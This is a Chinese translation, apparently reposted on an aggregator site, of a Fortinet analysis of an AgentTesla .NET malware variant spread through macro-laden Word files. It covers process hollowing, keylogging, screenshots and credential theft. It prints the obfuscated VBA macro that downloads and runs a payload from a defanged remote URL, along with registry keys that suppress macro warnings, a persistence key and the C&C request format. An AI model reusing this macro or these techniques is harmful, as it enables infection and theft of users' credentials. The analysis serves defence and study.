Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

0
0
【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

2017-07-04 15:47:26

阅读:719次
点赞(0)
收藏
来源: blog.fortinet.com





【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

作者:eridanus96





【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

译者:eridanus96

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


背景

FortiGuard实验室近期捕获到了一些使用微软.Net框架开发的恶意软件,我们对其中比较典型的一个进行了分析。该恶意软件是AgentTesla家族的一个变种,通过含有能自动执行的恶意VBA宏的Word文档实现传播。本文将全面分析这一恶意软件是如何从用户机器中窃取信息的。下图是打开包含恶意代码的Word文档时的界面。

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

对VBA代码的分析

单击“Enable Content”(启用内容)按钮后,会在后台偷偷执行恶意VBA宏。代码首先将一些键值写入设备的系统注册表中,以避免在下次打开带有不安全内容的Word文档时再出现宏安全警告。以下是写入注册表中的内容:

HKCU\Software\Microsoft\Office\{wordversion}\Word\Security\,AccessVBOM,dword,1HKCU\Software\Microsoft\Office\{wordversion}\Word\Security\,VBAWarning,dword,1
【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
写入完成后,它会在一个新的Word进程中重新打开Word文档。这时,宏会再次执行,但这一次它执行的是不同的代码部分。在重新启动的Word程序中执行的宏,主要目的是动态获取一个新的VBA函数(ljRIpdKkSmQPMbnLdh)并得到它的调用。

该函数如下:

SubljRIpdKkSmQPMbnLdh() DimdmvAQJchAsString DimJWyaIoTHtZaFGAsString DimTrbaApjsFydVkOGwjnzkpOBAsString dmvAQJch=CreateObject(ThisDocument.bQYHDG("66627281787F833D6277747B7B",15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG("3463747C7F34",15)) JWyaIoTHtZaFG=ThisDocument.bQYHDG("6B",15) TrbaApjsFydVkOGwjnzkpOB=ThisDocument.bQYHDG("797085823D748774",15) dmvAQJch=dmvAQJch+JWyaIoTHtZaFG+TrbaApjsFydVkOGwjnzkpOB DimcllbWRRTqqWoZebEpYdGmnPBLAxAsString cllbWRRTqqWoZebEpYdGmnPBLAx=ThisDocument.bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774",15) DimOhYBGFWMcPWNnpvvuTeitVAKAsObject SetOhYBGFWMcPWNnpvvuTeitVAK=CreateObject(ThisDocument.bQYHDG("5C7872817E827E75833D675C5B5763635F",15)) OhYBGFWMcPWNnpvvuTeitVAK.OpenThisDocument.bQYHDG("565463",15),cllbWRRTqqWoZebEpYdGmnPBLAx,False OhYBGFWMcPWNnpvvuTeitVAK.send IfOhYBGFWMcPWNnpvvuTeitVAK.Status=200Then DimBIPvJqwtceisuIuipCzbpsWRuhRwpAsObject SetBIPvJqwtceisuIuipCzbpsWRuhRwp=CreateObject(ThisDocument.bQYHDG("50535E53513D62838174707C",15)) BIPvJqwtceisuIuipCzbpsWRuhRwp.Open BIPvJqwtceisuIuipCzbpsWRuhRwp.Type=1 BIPvJqwtceisuIuipCzbpsWRuhRwp.WriteOhYBGFWMcPWNnpvvuTeitVAK.responseBody BIPvJqwtceisuIuipCzbpsWRuhRwp.SaveToFiledmvAQJch,2 BIPvJqwtceisuIuipCzbpsWRuhRwp.Close EndIf IfLen(Dir(dmvAQJch))<>0Then DimTGoCeWgrszAukk TGoCeWgrszAukk=Shell(dmvAQJch,0) EndIf EndSub

此函数中的所有关键部分都被编码。解码后如下:

bQYHDG("66627281787F833D6277747B7B",15)=>“WScript.Shell” bQYHDG("3463747C7F34",15)=>“%Temp%” bQYHDG("797085823D748774",15)=>“javs.exe” bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774",15)=>“hxxp://45.77.35.239/1/today.exe” bQYHDG("5C7872817E827E75833D675C5B5763635F",15)=>“Microsoft.XMLHTTP” bQYHDG("565463",15)=>“Get”

从上面高亮的关键字可以发现,此恶意软件可以下载一个可执行文件,并通过调用“Shell”函数运行该文件。具体来说,恶意软件是将“today.exe”文件下载到%Temp%目录下,重命名为“javs.exe”,然后运行。


对javs.exe的分析


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
从上图中PE分析工具的分析结果中,我们可以看到javs.exe是使用.NET框架构建的。然而这一文件使用了PDF相关的图标,用以迷惑用户。

在执行后,它通过调用带有CREATE_SUSPENDED标志的CreateProcessA函数来启动另一个进程。这一过程将允许通过调用WriteProcessMemory函数来修改第二个进程的内存。最后,通过调用SetThreadContext和ResumeThread函数来恢复进程。

下图展现了CreateProcessA是如何被调用的:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

通过分析,我们确定通过调用WriteProcessMemory注入到第二个进程中的数据是另一个可执行文件。此文件是从第一个javs.exe进程中的BMP资源中解码得到的。这一注入的可执行文件同样是用.NET框架构建的。

我们知道,.NET程序只包含已编译的字节码。而字节码只能在其.NET CLR虚拟机中解析和执行。因此,使用Ollydbg或Windbg这些工具分析.NET程序的难度将非常大,我们需要选择其他合适的分析工具。


对第二个.NET程序的分析

在前面的分析过程中,我们已经确定第二个.NET程序是由javs.exe进程的内存中动态解码而成。因此,我们要尝试捕获其整个数据,并将其保存为exe文件进行分析。我们使用内存工具直接从第二个进程的内存中转储它,如下图所示。

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

在转储过程中,提示“PE文件已损坏”,原因可能在于转储文件的PE头部是错误的。我们可以使用任何一种脱壳手段手动修复PE头部。随后,转储文件便可以被识别、静态分析和调试。如下图,修复后的文件被识别为.NET程序集,同时还可以在CFF资源管理器中看到.NET目录信息。


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

恶意软件的作者使用了一些反分析技术。例如,对函数名和变量名进行模糊处理以使其难以理解,进行编码以隐藏关键字和关键数据。因此,分析人员很难分析出恶意软件的工作方式。由于类、函数和变量的名称不可读,修复后的.NET程序甚至会造成静态分析工具.NET Reflector无法正常工作。使用反分析技术的部分代码如下:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

为了更好地分析恶意软件,我们尝试将可读性差的名称重新命名。在后续的分析中,代码中涉及到的名称均被重命名为易于理解的名称。

以上我们就完成了全部准备工作,接下来就可以对该恶意软件的整体进行分析。


对.NET恶意软件的整体分析

一旦运行,它将通过当前运行的进程来杀死所发现的重复进程。随后,向C&C服务器发送“uninstall”(卸载)和“update”(更新)命令。如果从服务器返回的响应中包含“uninstall”字符串,便会删除其在计算机上写入的全部信息并退出。当我运行的恶意软件, 没有 "卸载" 字符串包含在响应, 所以我可以继续分析。下图展现了将“update”命令发送到C&C服务器的过程:

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

从上图中标记的位置我们可以发现,C&C服务器的地址是“hxxp://www.vacanzaimmobiliare.it/testla/WebPanel/post. php”,该地址在 “SendToCCServer”函数中被解密。HTTP的请求方式是POST。

接下来, 它将自己从“%temp%\javs.exe”复制到“%appdata%\Java\JavaUpdtr.exe”。通过这种方式,它使得自己看起来像一个Java更新程序。接着,它将自己的完整路径写入系统注册表中的“Software\Microsoft\windows NT\CurrentVersion\Windows\load”键值中,以便在系统启动时自动运行JavaUpdtr.exe。

下面的代码是该恶意软件定位JavaUpdtr.exe完整路径的方法:

privatestaticstringappdata_Java_JavaUpdtr.exe=Environment.GetEnvironmentVariable("appdata")+"\\Java\\JavaUpdtr.exe"; 该恶意软件可以记录计算机的键盘输入,实时从系统的剪贴板中窃取数据,捕获计算机屏幕截图,并收集已安装软件的用户凭据。为了完成这些任务,它创建了多个线程和计时器,我们接下来将进行分析。

窃取键盘输入、系统剪贴板内容和屏幕截图

在调用main函数前,在main类的构造函数中定义了三个Hook对象,分别用于记录键盘、鼠标和剪贴板。之后,它对这些Hook的功能进行设置,以便当用户从键盘输入内容时,或者当剪贴板数据被更改(使用Ctrl+C)时,会首先调用挂钩函数。

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

在这个函数中,它首先抓取用户键入的窗口标题,并将其放入html代码中。接下来,它会捕获用户按键,并将按键字符串转换为html代码,形如:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

HTML代码被连接到变量“pri_string_saveAllStolenKey_Clipboard_Data”:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

恶意软件还会创建一个计时器,每10分钟调用一次函数。计时器的函数可以使用“Graphics::CopyFromScreen”这一API抓取用户的屏幕截图,并保存到文件 “%appdata%\ScreenShot\screen.jpeg”。随后使用base64对screen.jpeg文件进行编码,最后使用“screenshots”命令发送到C&C服务器上。

它会每隔10分钟都进行一次屏幕截图并上传,所以恶意软件的作者可以看到用户正在进行的工作。下图是恶意软件通过调用发送函数,向C&C服务器发送一个screen.jpeg文件:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

窃取已安装软件的用户凭据

在main函数的最后,创建了另一个线程,其功能是从计算机上的各种已安装软件中收集凭据。它可以从系统注册表、本地配置文件、SQLite数据库文件中收集用户凭据。一旦它捕获到一个软件的凭据,就会立即将其发送到C&C服务器。一个HTTP数据包只包含一个软件的凭据。

根据我们的分析,该恶意软件可以从下列软件中获取凭据:

浏览器:Google Chrome, Mozilla Firefox, Opera, Yandex, Microsoft IE, Apple Safari, SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch Browser

邮件客户端:Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail, PocoMail, Eudora, TheBat!

FTP客户端:FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander

动态DNS:DynDNS, No-IP

视频聊天软件:Paltalk, Pidgin

下载软件:Internet Download Manager, JDownloader

在我们的实验中,使用了微软Outlook进行测试,下图是发送到C&C服务器的Outlook数据的内容:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

C&C命令格式

C&C命令格式字符串如下:

"type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}&wbscreen={7}&client={8}&link={9}&username={10}&password={11}&screen_name={12}"

其中每个字段的含义如下:

type(命令名称),hwid(硬件ID),time(当前日期和时间),pcname(主机名),logdata(键盘输入和剪贴板内容),screen(base64编码后的屏幕截图),ipadd(IP地址,该项不使用),wbscreen(摄像头的图像内容),client(软件名称),link(软件的网址),username(登录用户名),password(登录密码),screen_name(屏幕名称,该项不使用)。

下表列出了恶意软件支持的所有C&C命令 (类型字段):


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

结语

经过以上深入的分析,我们已经知道该恶意软件的主要目的是收集用户的系统信息,不断记录用户的键盘输入和系统剪贴板内容,并获取一些流行软件的凭据。

然而,我们认真阅读了反编译后的*.cs文件,发现在这个恶意软件中还内置一些尚未启用的功能,它们包括:

使用SMTP协议与服务器通信;

获取系统硬件信息(包括处理器、内存和显卡);

启动用户的摄像头并收集图像;

将JavaUptr.exe添加到系统注册表中启动项,然后重启系统;

关闭正在运行的分析进程、杀毒软件或键盘记录软件。

在该恶意软件的后续变种中,很有可能会启用这些功能。因此,我们需要避免打开来源不明的文件,谨慎启用Word中的VBA宏功能,加强对恶意软件的防范。




【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images